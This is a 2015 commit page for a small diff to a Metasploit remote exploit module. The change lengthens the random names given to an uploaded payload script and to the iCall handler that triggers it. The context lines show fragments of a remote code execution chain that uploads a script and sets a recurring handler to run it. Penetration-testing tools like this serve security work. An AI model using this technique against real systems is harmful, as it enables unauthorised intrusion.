Use slightly larger random script/handler names to avoid conflicts

bug/bundler_fix
Jon Hart 2015-11-18 11:51:44 -08:00
parent e7307d1592
commit e4bf5c66fc
No known key found for this signature in database
GPG Key ID: 2FA9F0A3AFA8E9D3
1 changed files with 2 additions and 2 deletions

View File

@ -225,7 +225,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status('Uploading payload script...')
script_name = Rex::Text.rand_text_alpha_lower(5)
script_name = Rex::Text.rand_text_alphanumeric(16)
create_script_res = create_script(script_name, cmd)
unless create_script_res && create_script_res.code == 200
print_error("Upload payload script failed")
@ -241,7 +241,7 @@ class Metasploit3 < Msf::Exploit::Remote
# phase 2: create iCall Handler, that will actually run the previously created script
print_status('Creating trigger...')
handler_name = Rex::Text.rand_text_alpha_lower(5)
handler_name = Rex::Text.rand_text_alphanumeric(16)
unless create_handler(handler_name, script_name, interval)
print_error('Payload script uploaded but trigger creation failed')
delete_script(script_name)